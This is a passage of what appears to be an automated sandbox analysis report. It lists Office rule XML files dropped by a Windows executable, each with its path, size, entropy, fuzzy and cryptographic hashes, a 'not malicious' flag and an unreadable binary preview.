Preview:	<?xml..;.2...........7&...P.t...}.m@O..O..D....ESE.j,...P$l.[................E..d.dV..=.s...._6".0.5@.c..QfzA<.95.r.G..r...V9....F.!i...IN<3.K3..jQ..b.#.jw.G....Lk...........q..T.]..w.79...4=&...z.G.`9gf....u..5.!..H.....\|.bN..U....+e......-E..T..w.mO0..X..AZ..Li.."H/.\..f.`.~(+d1.eGgKuQ.uUY..x..Tm.H..Mv...>.....O%>..+...r..Vlxx..M..u...vm-........yf.}..x.....c)...%.l2Z.`..J..s..Cq......{R.y....Z....O...._....lK....K..1pM1!..O..#...26..b.xxm#..5.........\@....m.....\..8..!...[.\&...r....k.T>../..SQ.:..yuRT8.:....]..SEp...ih..6..F...?.O.....>.yQ..ENq...a......^.8..V....R..F..P.....&~..j)n.9.....I"....s.w....m2.Az.I...`.F...y.%...\8..4t...H...D./.;..B.......-.7.I..t.'h%6.%.,.....k..(s>....\.!`Gq^..B.7.'...r.s.....%..../)j:k.JJ...R.AK_n.D...S..%...-0.eH..Z.f4.._....0+x...Uh....P.3..>..J..^~../.F...B......1qj>.MRD...u.s.:z_.....I.rR-H...>?...w>P.y\|....2.2M;..@Y'/..f.9p..b.o7.BV....@y.-.\|i.....}E.Jj....5XF{..........>.....>y....,.8;-Ko..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.87818555826315
Encrypted:	false
SSDEEP:	24:T0jkdiBbjLZPA/JjkJSL9crH0DLkR4ZSYoUU9lkPcr0J8oTk30mOtfSO/Jbu5xV1:TqnNPOkGeHnONo3MEoJ8M3S50iD
MD5:	D497ACDFE4888F0134D188E2CF4F5BB8
SHA1:	B7F12302A6AA7BBD7E49E0497F163F7B1896AD26
SHA-256:	C55E3DEB3FE7C92B26207C90007E239A1B9DB4FBE95CE419BBA317813DB8E745
SHA-512:	98ACED0772D6220609F57ADB98649E174889685580023B3B16AAFC20B3C30029CE23337CD49841AD16E396A8C929EC16198BDA0690EA93814F1137DA138E9E27
Malicious:	false
Preview:	<?xml.].\|...Vs..".....G......7.BB.T.}.w.C(.H.@%m....1........&T...'9XX#wt.V.Y...p........:\..\8)%.g42..g.<\|..\,%.K..`.D..)..m..(.\.....a...c..._~.f..nU.C"...w...#`>V.V0h......_.9\.!.x.&r...aO.+!\|..p......x.....eN..2XT....F.}......s...d.w....e7B..2....]..N!.....z....t........%.[....i.8.F.Id\..,D.p.....x....{q..4.8".H...I.............0;S.V",5.S.F.........wJ}z.7..h....J...HTI..>RD.Ct~0n.OE.3e..{.[.$I.....'.1...i...,<.. !...O......7.ea...W+k0.9..=...}..U...@..$3..........a....v.7cm.....R.u.KT..i...].[...n.U.-....p.:....7.DA.R.gto.....+.bm.v\..<z?.g...(A.T.}Fu..@........[..r..R[.<.\...\|.V2g.....\|q>.....F...9.%......w(.o..E.8....H.7`:.q.G.e.3...!..x.q....0.Q....t"..m..Q..s.H....6R...{.uz[...S.X..X...pra..y...@iK....{..@Ml.q.M.t.(..:.m..Z!...$...!.R.c.....h...~T.`..lO.[...lr.....j.....Rn.\.....X.C.R;......=................aa..0......k...J?.l....c*...F......F.." .a.].X..v$.B.l.}Ra.....M..L.....]70.;.h.Zw.Ki..Z...I.k...+.....Nk.;w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.899900187886899
Encrypted:	false
SSDEEP:	48:ZS9BrsVfz0+YAXHFtzqc8CVLu32KryUgEMgiD:ZSbrE0lKzqc8ULuGFES
MD5:	0D9FF5478E854B1FA8CFD32D8D7A1052
SHA1:	E52B6278BABB4339422E5AC56588625794A1F57D
SHA-256:	324AFDEF85D60927BFF510673257E852ADAAFA2CD7CB72F0445A2859D153E5CA
SHA-512:	826EAB2F327E2B5ABCB37A8A4DD1DEE3DCFFB2FB36B7C6194BBE0EC2666F1E51B4F12ADE8112ADBA78A0D24878BC8E81B3A62392EF8CFE1435C502B1CDBC090E
Malicious:	false
Preview:	<?xml...^.q.J.1......>^..C.j.C.!C...U.d.&.V...v...d1q....y.3.....v..R....i....jK...C..R.n.g...#..N.i..\..@.......]...=.....,....T.;..].bE..A.,O.[.....%9.n.R..1i.,.i3.{.3Cs..d..qK1.h.....N.:..2.....~...@..eq..@TC....!...j..F~@..[.j]....Ka.e.-.e..U.`...H>.#.F(I...o..RIZ<.S]..S...~..1...e.I...O....7..:Y..u...b.Y....G.2..N-ez.G6.. ../..kZ^....L.Ds.f.....MbY..%.v.&....e..n..T....Lz3..=d.E;n..q9h..6&k7.?.h.).u.G...L."...ly....O9i...^..NJg.....a.TA0.....s&.......1kg......F.X.].7q..d..p..?....w...6-.bTy.Q....FH6&...N......\..U....b;...)./.ad.j+/..U$...H.6.u5.Q0..4...O.8..MB..>.{1....:\|.E.<.H.....!g...E2..D0..........]..X..C.....w.;.......1..Ic_Ey...u....(....l..1.E;~-G^-L. .........X.'....l3....{3..J..H7g>.@j...qx..3.6f.A0j..K...t.....FO..Ur.wf;....u.... .)......$.\.\|.#./....11..z.`......'..~....._i..Q.SN].k.HY......W..02.~o[.K.] m.......E.....{Mv.....U..;H.%.zl4Pi.\.a......e\,..h..xt1...}'....?.c..^q".lj.9...).z..,...R...:.}0.(......o..D^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.888140188773713
Encrypted:	false
SSDEEP:	24:MbGFmrjR7JG9IN1tiBWgmyKLyz/vhZTpshxZVfJKbGCsTSdvH2foaNPrJDNBt5gy:MbGgrjRtGBv0zSQ2dvH2ftE3iD
MD5:	C6452A263D0A7FAE21698919B11884E0
SHA1:	8B01A51D4FBE393F656B3FD61BC4AE964082F53A
SHA-256:	3BCE3926F1C9E0513500F67A7DA731246ED50E6CA545FCDFE93A7906FA1BC3FB
SHA-512:	087FB7B863E221A898C3BACAB4C30F16EBE2FD1467CE4DEF95CDF068263CC8A63510BD2277102706906433928E1FF0687AF9A0BD228B01C70FFF94835F757405
Malicious:	false
Preview:	<?xml...hA[.K...\|...j]U..&)$....w-..t...{....E$.>.]5.../N.....e.......8.u.\..R.e.........CO...S...e..<]..O.....b..1.ra.u...O..._.XX>.1..D..x~......JQ.x,?...'.].g.......S3.T>.#.i%....TU._r.e.....cI...r...+....._.E..:.f)....5....:z..~../KP..A..k.f.1a....R.~..)}f..q.Q.5..R.K.}..M..a..C.-..V`6.u....A.4..Z..&hmr........qS)'....u.`;.9......n.;..w.qHZ..c@..l.t#-AJ.Z..4q.9.S%~........N8.b....{....O.[.>Zq...I.Bm...1..,`n[..G.".N..7D.!Y.SD#..lt.?Q4zt<W:.N..@ ....s...n6c....-..S..q.h.o.O.....D'#...m....a...`....D.i.YL....X....kH.zy.....%..qC.wP.E...Uo......(.X.Y.U}E....s....$..].i........."dN!.........L.Gi...$..]......5.Y.s\...WI.[..n=Z}~>....Lw.....W....@.....\|\D...U>..v4@.....:z.^e..T.m...N.A5"........V_...y....rm.._...z....Y....h.i....c.)@.B-.!.@..P..R..._.M..b..m..k.....9`............GF...Q.......o..h...\...l..{>.`.}..xde....DL.i..}.Rr..$..u6lM.x}`.f_'....k..#4.v..2....).h..(...iAOGa.V......c..H[..K.{.C]h`W"..V..wW...K."..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.882899822438947
Encrypted:	false
SSDEEP:	24:+MImQWxaoRUqpg0qKvgp1VgjoCIlvqI303nTvWmUQq22C9se2iTkbD:+onaplh9NgjoCIlvR3qTvWVQqYiD
MD5:	5F18762C45925B45179AD79E6099171B
SHA1:	BED37AC14FDA64392B9F6693430854E44DA58099
SHA-256:	0A488AAE61819A97CE1DB8410B3125E2712F38243ACDFCBD84746D3F5A6807E7
SHA-512:	8E689DDC593A581F162AD1A792DB19CB56BF0BFA37F2FF15F9533957977CBB800A3D344794D94BA6CA3896F1C19265DEB30F52A52857428E61F6FBEFAAC7B369
Malicious:	false
Preview:	<?xml..k..I..............dxq...2.yL...........J..g8.A...\|...KS...A./.p .......~7....C....$.....%S.#............i...{.T..bM.4T0...I......N.~9....B..Z+(?>.<.....?5.Q.o.k.7.3.h..x....9....27...^u.o.)%z.#.I...Qv.6!+~.W.O......pB.......-...w....f.pf..bB..o...../Gg..z.Tl..........E....x......3..Y....u\U.%..](.s....m....$...v...'......X....._.-..0.?....`.[.c......}?.l.I..2..X..)q.&n.[2.....=.Rr...h..M...........4.V"....u8 ..o..]~....#m4.4.,4..>x.U.A.)L.F..zP1._......xuF'....Fw.iI....._K..z..^k)...Y.vv..%...Y...j.Pn....Ht..].....F`..b..P+....3%..b.D...-&...~....z.p.x.V..Ci.......jP.....E[178..\.+..r..<.ck...e..I..p.(.;.3q.x..(....dA9$.....At.XV...........3.....-.p.&g..d...Vz..y.nv.. ....&...........mJl..Vu.k...-A..h.......e.?.@.........!.......Q3...i...(?]........4XL.%aD.....}.xP..?.@...1....Xl.[`..A.....$9......VwA....;.>....o.P1).......Y.J..yMy.7..O...J.....OV~?..)!...Jt.....{.3...X.yP..<.C.HI..o...P.^A.Q8pS..;.W...4.c.}..t..eK.}..`..Z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.88384747936848
Encrypted:	false
SSDEEP:	48:zBCS6gA/Bc1SlMn2NsSPTzQ5nMjBy3QiD:Vv6gA3rCQT8J/v
MD5:	D55D2F216C67BDB3751099C0FB334FD0
SHA1:	507739B406CD5568C0F04122A505247181CD58BE
SHA-256:	4B3ED9D520FD5915FAD8205B988FC6972639017F04E2AE50621AA70274AFB912
SHA-512:	E750D3E6384E117B74403E16F992C1454402A0D315B7A9313F4381345EBFA781C0F9B649CA81EDB9BDC3010CAF40E7F552928F274C971D1D5C23938FABFFC7F7
Malicious:	false
Preview:	<?xml....'V.3.Q.A.e1K..x..W..}.ol........2q..F1.0%....Q.."...-C5]!]}L.;.....p.I..-Cd......9.....-....L...YpM'........H.AH.3.....YN.@....\|...E$.....7.$..qq.F........=W.....7.%....GDG.....ca.....a.Q...r..x~.cZQ/...Ut...Hr.\1..P..3>.....FY.].O...K...<<..........Z...._.......2.}h.8.c..N.(@T..\|.N.y...o.....;s.XB.aU<.Q....?.4.,X.H^....LX5.IY.......S...)".K...A\|S.u.(..b....3N..}..{.....:V....S.cB.{.9D...ip.W)0g.O.2}....!....$.W.o..;.S{.....$q....\S.d^CVy...6.w...C.o.A.....{....E.=..3A...Z...D......<.Z..D.tj..?TM..?). ../..6#0..5..u.d......uZC+....%..O.M..TRB..-.!&.#.d.v...R2.......=.)...S.J.8-.....^....o\|M.Ybg..].N..A...._O.WE.m_.Z"...{.5@....+xm.H...7fi.B..R{qadRs$^....:.4.?./.T...(z..[.0...D{....a..~G.2...DU..Z..)..I}.LE.....LT>3.v...E.+......'....Q......)#3.9.nel.RdA&2.....!..6.}..^mz.=5iF.#..ony..Y..*i5...a.b..~.B.}wQ..,M..../t.>&..z.;.......Z.c+.yG2T..j...u.m./2...y.`FW.....Z.2h.......3........%..I.r..bu...3q2@...P.2.([..:^.=@;....t>...^.fG.@=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.887763091280852
Encrypted:	false
SSDEEP:	48:OsAzc6YTWDkk0xORm7EePZLWLH1NNKlywiD:O/c6YY90HZWD1KEP
MD5:	E7A3401B12F2F633DD533C7EA87F997A
SHA1:	285ED95EAE6AB5F0D1E22DDE68DB31CFA9929D0E
SHA-256:	38F9DE864614596742FCB88D1C476E1C4FEF96E1AE0E5BA17FB359FDF07DE451
SHA-512:	0FC00FF7A8FBAC28C6EE6C540964F9403B65055F6CD651FB8B124A1BCD812B2CD336297902052CB58E673E6435F295C98C1A413A8ED7F75D8A57C8120D504591
Malicious:	false
Preview:	<?xmlx..W.m..Di,cU..?....&.....m..G..^.y.H...u.4..wfp.e'...T7.A,O...f..8~\|l...}.6J..h.U....#.Yyf.#..m}.Q.F..1!.d[.e..Sm.......0.e."..........%....l.IE........:..e........H.1.l}.ZM....y..L.XQ.......!....ICx.p/u.S...1...T..I........;5=.1.............}L.%...h.....t.J.7U.1g!.@..FUx.....3...Z..c.e.u..xg..w..).:....u.%.>+!....fw."......q.....3..0,..a~...Z.C..d..C}....5.e5Cx].O=U.,....YX.}SBW_.1.y.c./..C?Z.7`G.......v......_....K....?.z).h.c...R........y...U%..,@.\.6t..........A..:......rw2.......p..g..y\|.V..v.#...&..W.9..yZ.5`.".<.....}...^z..e.q.m.........d...s.....M".}........P.9.g-az......i.C...."K..E]...... .L..0D..xT..P..n...Z.Z:.w..z..Wf!.!:......{.F.R.Fj.$\JsY<s.....s..7..7f....Q%\|zX(.W.f.W./K..7....&o%..p..&..]..Q..O..........s:..hi.v.V!.3\|As.6......4.p.I.V....l ..(....y...]..!..\|...$...n."!#hN.7.......0....!u.I3.....,6[@.......K.\)..dL<[........k#.........Jr.(^`T..._.-U.g....$....:..R...T.......=.y....@mx..u ..^$.w...\|..u...\.A/

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.88649861494099
Encrypted:	false
SSDEEP:	48:D7xps/MNx0V7SXjj8bHu3puGU+E4FYL1PD4gCmatHIkyiD:PxSENxYSTgTu3A2E4FuLs9IkF
MD5:	98F5ED91205F2D2C6CFA14D6540CA1D2
SHA1:	6AFCBF2E7034310203B6EC095448F8E2FAA0430C
SHA-256:	CB3621F2822462F516C16A3A12E061A350F4D9F39E48B89F35841DB3C31D8716
SHA-512:	E6865F6C48F0ABFF5CE5D3C1F336E508EC16FF5CC6A336C1A0D4E1291DA43C1F2F7E2E9A3FF0C8358B9BD4D685B8CE99865D329F76DB3701EE8E1BD445146D8F
Malicious:	false
Preview:	<?xml.LSDM....b.e4.p....r..9Y..,7.6....Jm.F...dB.qLp..T_y..0.......g1.hF!.!1b...~I....d.)%Z. .....$.K.........l4}.TY...%$u.......^6n.......<.K...J..G8.,.......`K..qr'-..>.O...a.{4.Q.<.l..5.O..h......]....2.t.A.Z).+.w...8..L>.H.C..1..sJ.... .?B..88.&......c.....a.,.G.E..fer..c..R......A8hcGh%J.G!.E...O0...q..Z..T.<.<@.....B..D...J<..t.2}.Wjz......_..d.7.....)S..%&./.0D6{AYn.N.V.^0u.u@.gI..C`.o.O/../. ....{M......!.w]..;Q.....zt..B4....1#.(.....#?.3{..../......X..........j..s.G..P=h.l......w..b.S......1.._{_....]..f.....r.K,3C..Y\|.6@y\:c.l.'(..7G.@.)..s...E.#9..../.H.....-".u.....si..'z. ._V.......R.`.....`HSqj..^....V.Q.#..0...np.6.v..F4...-C)...Y.h.....!<N...d..../@.#....9iX...K..x..L.."H...kg..A+<..Wf..]..]..\|..e.yM.H.\y.....A.b.b.g1.+...gP.:..q....L7c.".9(....L.HP.P.;......%...FF.KV.........UR.9...{.....0[.wG.#.k.Y.c.......m..8..t.YV.[..../..`.r...+x..4.#.NP..1"..7.W... .-..R....#..x...Ri...."..>.B.8..`..m..a.T....xO...u.*...A3zW..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.8681781438461
Encrypted:	false
SSDEEP:	48:3PbehQtNkalsQjckEPFog0rwvhWCDWMSfSzmiD:3PbaYNkalSbFgrwvpcfSzZ
MD5:	B96AE16126EAEDDD59B2DDBB6523ECE6
SHA1:	2A66716E012ACAEEA2AE42A92498B5D7D7CB1526
SHA-256:	FC8CA4C1974D02768930E25FA22ABCF2CE0A9AC84B5879DFBA5D25B68C19870B
SHA-512:	97071899A71883335EF4DB8875417885AFCFCAE8F2CE585F59FEF654DB7172333C6E18FE394760D53F51CBBFB61186C1120543B2BA4FE55DD7D23665609FE297
Malicious:	false
Preview:	<?xmlA.h....4.C5..&^............w..-%...Z...G..^..6.%...`..S...mX.!..W.De.\|.......4h.5y..b,.U..7@..@$...JV....3uV..UK.&.I....y.. ...........~..K9.....BN.uAG..O#..b..............Zd.F&w.NEB....\|b3..q.Q..3.&.W.54e..W+...S.)...)..W..B..8B.6..=7..j\Nve....b...c...;I..[.h...Q......l5(e.Yh8....K....NgVD.T.<.F.\|..8L2_B<R.sW...3'.......@}....................K{.-..".L...i..$.@[0...,..7.9.F......`)(....X.....,..J,...3.3.E.}?;D'59.jEJ.....O3Y.N7VY}3....R.X'.E.....Vw..e......Sa.....ek>....&..L@....\....S.....t.9...<j.w.`..z......H.9$F.....X..t...^...@..~q...9.....s.....t4....Z[......<..V<........ =+c.z.{h.j.H.....-.u:.#...$..=.........'g.7-..K..#...........Rug.4....XED.J.j.pW9.R....._..8E^?...F.9..49N.RoUc.z.).`$.Z.....\|....W.....1D..2....S...h... \|..g...<5..l..I..r.l...............`.,.....Ci...]..'........Kf...^..t....O#F."3.O..^.....j^..C.....'.7..`..........Z...(\|....m......jZU.S..m$?.%m.;.x....OK..4.%..U..d.M....r...NE5.q=..e.(.6.i.........P$*

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.886718955396723
Encrypted:	false
SSDEEP:	48:OnGIMsfgjRPgjvRJuMXrEEJ8LT0lxmOeY794TU/o0iD:gGXsfQoRJ198X0lxmZY794Taoz
MD5:	4919D85696C2779C77FD40FDAD1C73FC
SHA1:	9FAAC18F4FCD369330F3F75214C5C89F36A2D8EF
SHA-256:	C9BE6164357C863D723EF1A6A8AEC58E662A1399AE4DD976397E3AEB8843E562
SHA-512:	F949C50BD3862FA93C65E201F3610F61B6E6AF6A612535334BA6069A094C79554816E87D90A5BAA3C35AED63E4E6B204197602E29328BE74B9744DFA088BCF16
Malicious:	false
Preview:	<?xml.j..+.]-c......l.P.l...._.e......r.dPi.e..<..s...........).t..QZ....@...o H....n\|2..xH ...".R.N..0!.p..Z.}.&.r.g.i..U.~.....j.![.U.Vw...#.Q..t._.f.s............/..m...z.y..V..X'.$....$Z.7.\C;."3...Z.D..cu..~...l..7....^.."....?....T3..../...\|Y..:.j".DN...D....#.j.,......{.+MQ$...s..k.F.....Cc..e...._E....H.1.2.m:..Qvh.8R.hi.kc..6 )...:Z)&...<AQ.8.9k...<.Y..$^.[.....=.......@.US...";..<...<.....p...?..n.J...W...~........;.rdd/...0...........p...}..Z.x.Z..K.h..=CB\|^/A^`.....Z_...a.S....;51..C...?3..yDI......mn@...3..3....=o......~n..H...S.8....=...W.spL...;^.v.t..x)LSo....&...M.m.lX.U...)X..Z..'Z..\|7..OM.X..U.e..4............O.......I..M..y......,........!b.F.d$..L.B0.....YsjF`U..<Vz\.}.'A.u..a$...d.....i...$_.3^.L1k.Y.....u.t...A.'.\|b..........G.I"H....I"....a..).....[. D........:...a\.A..2.br t>...v.`O.".Mz.....g....9_.0..nF..z..z>.{ ..0nqhy........(........`..6.Q.="E...Y.....@p.p.R..ol0Q....D.S........x)-....7-n...N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.876504288557622
Encrypted:	false
SSDEEP:	24:gw241QFWzdPpg7s0LPuDnlEd3s0PsWLNCH+flDnSfXdlGFwkNo5GOjMvIwmnRuQ9:rQkh/E2S3s0PsWLq+p6aFwkb0daiD
MD5:	ED7DEA23569A8C9B12CD03F804E991AD
SHA1:	0B1281D96627B5CFCBBF49AF3154551EAF447C3D
SHA-256:	A249C1DD17CD6236027507AD5ACCC9ABE206D57A224605626E9ADD6B228FE939
SHA-512:	078DBC4AB6245971656236A038EF76D21DCF0C45CDBB523157FBDF2F8E21AE416D4F4E534DA41F2ACB3527AB8BEA94CE3376E8A1F26FF5FB16688BAC17CC47E3
Malicious:	false
Preview:	<?xml...bQ.k6........xo.1d)..u;.{Y4...F.Eo%.w..........>.r.@#...>X.+..Bl.H..uaHa`P..)Q.~[....g6..&zv.C..XY..C.0....v..T.3....+.<..Z`..:f...@.L.y..}.o...k...ME..@...P.\|7...+...Do.}rNy.q..D.Z..._c.....H....>.5...k...:q..).....}\.....e>.gr.%H.b?.#..{..).%I.2H........l;...e.........R..Th....=...j.l..>.....D.........R.qK.B..."$.........{?.m.D,.....e.(..pU+...P.OG..x.....:~.U......g.U ...#...Z..s.....de......teM..........&...1h./..._.B./...@g.q.xW..r.JZ..:a.$.@"wHv.....H......F7.cF.r...\|...t..%).....@.1.......5&x.FT.\.`;u.Bk..y`.V..{)oH......Z.Z.g.{..bx.}"^-..e.h...J.]3e.fZn......4.....#K..-..H.:..mP.-0.sdY..ToU.....p.`..t.z.R.,@.=.A_o.a.{...&.4..:...(....(....."6i...E-`..G..t...s.p.-...T...;..o.B....1'>..D...w.E......s.LH.`..J..2~.+..=......c1.8..2.7J.&7....i...5.Q..{8.#.5.^.Y.5.X....dR!K....?...E.....9m...J..R.....e.o.WK.........n.O..K..L..g...=D/..5w/.7.Z.NMa.l.U. ...h8._.....^{.....'.r...............\|P?v,bS..B/'..pm....[:/'.f.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.865317399671101
Encrypted:	false
SSDEEP:	48:mZpUiM5Ubowo9H4iPnLSNpLmRDgLsW7V/fcz40uTzRiD:sK6bbo2iPnLSNpqRDqseX0gQ
MD5:	3105962862BE5AA169F3D7AA701647EA
SHA1:	5F269B54AFA6BF35399599DC5B1FA89534007F78
SHA-256:	240AA268C890D0BCF6D8538002EE38214B73B4B89E0BF9850BDE6D7A221BC90E
SHA-512:	7C644349F2D9953DF311ADC396D8F5451B12EF11232C0E0B62CCCEE3A9DD3400B4EA7E88C5A03FB9DC2DB8A0A3B41082378B0FA2D89DF54709192A48C8627FCA
Malicious:	false
Preview:	<?xml.9OTo33.....].4.A.D..BU........w...$v...=....q.tm....tv...E.o.......s".{........Lx...RQ:.e.o.5[Lj......p.Ve.a'...J..,8:!.(..j.........dn......?.Kn..g......{..D..GN...<..."...xZ..U...FaG....gxx..p....:5J..+.v...p.\O..O.!?\|N!y...X..9l..p.n..gV.L.>VJ.....p.#...jL.Z....{w%..x#l3..n.M.`......./....K#.n.j.\]..,1ud.~.l`[.w......{.=_S..V.....H.}m.u.Fg.).7.'..l?.........2....f....%.........u.Gb.~.@}'.x.o......a.....f6H.m....Y>....N.....:o...i.r..G9.l.k>..C..?....uQ.....S...0.60X.4....F.1.s]...........T4hmX........u....}.Q.x#..._./`J.X..6.q..q{...$.,`....6..~vG_._J..F..=zG;..I.o..I..,...p...%...u.9.T..P..+..C<... ~5...~.n.4...y....le..#....5...XE.v#...#$Ii.q..y.%..3K.V\...F.Y.0Q.'...ZI.....jv.v.<.{..\G..)YY.....&..8.W${.pk..`...<.!A..B...X..{ke...Y.b...>.j.........r..i.l....0.......,..88H%.p.7..F.\E.5>h.........O=.......k$........DP".>9.gH...%s.@u=.$.."{ByG7..#...Vh5.../w.7x..3O..O.j...u.........v.?...-......?4t.o=..=..VOk...=..I.....gt

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.866158046166653
Encrypted:	false
SSDEEP:	48:AFyjvbk6m8DmszUf+PqW3zb0kRHFue++iiD:A4TbfDmsz7iW3zww4ja
MD5:	26D6033E3A9C56C58EAF61DC483BD363
SHA1:	F412F89319C6C1384AA89FC576B7092EC40A0DA4
SHA-256:	573A4BC72A8D742466F456D6DECE5ECEE10A4B4B9B59F6EFD2671DC7179764BF
SHA-512:	094C14C1C90A29E3274D8052BD096B73975F83B11BEB6181F8DAC1D47BCD08B863DF395CB7D2A088D0B79B0026379A15AC282CC84D3F98DCA99F5DCE58DB280C
Malicious:	false
Preview:	<?xml\|........4.~ .q....b.4..{Y..).....at...5.q.;f.......X.^t5"W/,w...........Y.nc.h.s.......) ...4..-J..1N.....IXl.7X.jT..rf%?..xu2C...c...A.zA.9V.6tYG{+..X.iH\.g..5%.....IV..~5 ..0..Z.....@.Q..O#.fj....X..9{.....D.,.`....4....DA.V.R.!.6EC..1....s.)n.o.x....q...}.U.r'.,h(#...A...O.=....i:n"..o@.pl.y.j..E...fP.,^...w.JT.B"..z...y.....6.\|.X..Z.../...l.%1.<3"...;B..k....V....I)......e.7.<s.w...H....U.......D.X...6EJ.....X4.?...z`..j..ru.E.5.~\|.......-.)...y.T....vK...S...z5._M....._.6.[....A..D"...~.mZx}m...S..;.a`.....\I[v.......g.j..i.4..}:...F..ik.5....W..4.y.(K.+>.7.3n..."........1.`.@.".V...~.\|._BD9.....#......._.n...X.bQ...v..8.:.#]c.~......^....h.....Y=....m..i..D.._yk.G....bC...6....3.p(*..W..at...g..B....;V......Z._......M...v.>.L..[.c.h,9./.......Q.....K.i...n.7...U9...5H....-.8....I........../..}....y.u.L...E..?.Gp.O]0....v...a.I]..b.l.yb.:..>;..........7.K-.....W...E.[.n........S.-".-..nN..5...&U.#...}..V...j.K......JGh.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.894116873687169
Encrypted:	false
SSDEEP:	48:bF6cjLOoF+X3D+J18gaoaIi/F4tIvwTmRBiD:N3OoF+X3DmHaouJITgA
MD5:	158449E27F21971AB231CC4400B9D181
SHA1:	3D7ADBCB0AA85ED275208E118883F6743A2A0629
SHA-256:	8F7D663E75D38A39623D28873FD02F4ECFC31E980C5CF2FF7BE8A2A10C819BE7
SHA-512:	EE136177FA35FD45FC430E2D8E173B68D415AB9178C5A13C0FB2BD8274779CFA9839E0B346F8C37F3D4B74AD663F0230F4A765ADD37A2BA33FA42BEF069FAA83
Malicious:	false
Preview:	<?xml..hN.0....%5....(.k.F....O.6.z.v/....4..?.h4...f4(8d......R.... Y.8..F!..J........U.7...&....8 :.r....F..hD....H.R..w.!.g....?.......";..p;.<......-.a..).i.Yr......2...V.m}.......p..v.....2...i......P.n.KH...a....OS.i..%.....>.od).&..l...MIV..uCX.<b.q...?Lu..p..j..k..@Y...r:.....p.o}..\|.1...F.*.m..4.........'.+.V...D....I,.\|....=w...'.....'.....o.{V...0...HN.sr...k...O..F..s...Y{..&...._.v.$.}..K.89.T... O..<C.:4...y}.!...hA.....U.jc5... ..^U.\|1.......6......K7./x.+4b..8..I...y..W..r4#P8R-..c....{........0.....[..h.Q..\|X9.w...=.%.M.:s.b..r?E..<..7.+.D..y('J..B...Ejx.F.......;.....M.fI....O3...=c....Y.zd.._+....._..3.:.x..........O...!.&...-...`...@.}.o.{S....2S....!O...u..q..jV...}ae.>.mf+09\....._..C......m....B.a....,UNPf.....2q..(.m/.'s...lhQ.X,....!8..&.c......-...K..x...gF......<....).&..bi..He.TY...5J..V....:j;...?z7..Pl..+...&.-....]]\&.o=..v..9Mk...8..&b..HB..LkJ...'.O..Kh9."...8...0@.Q4......G]"...,L....l.%'....\Y..h...n=...M.H`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.89621045288255
Encrypted:	false
SSDEEP:	48:h4fZnwkJk+V4ONBt5gHfW6UvKOwaRtoQEciIhBiD:h4fSkJCONuHfW6UKaCN
MD5:	6ACC6F87DDC46DBC6C6DD6D1C19C90C4
SHA1:	9DAFEFA7E6B589B6E9BAD61C04B082495680EC30
SHA-256:	A715AD63008C888F523D6B762F271B9FAE2B4755E9746AEFD09B798F5127F81E
SHA-512:	4CAF06929D49557ADA76B6CFFDA634842342FEE52BC304FCB6FD48BC833E828EDDD5EC011B89C3715C00AC49473E8A8DE61D1CD261420761C438C844047CDE79
Malicious:	false
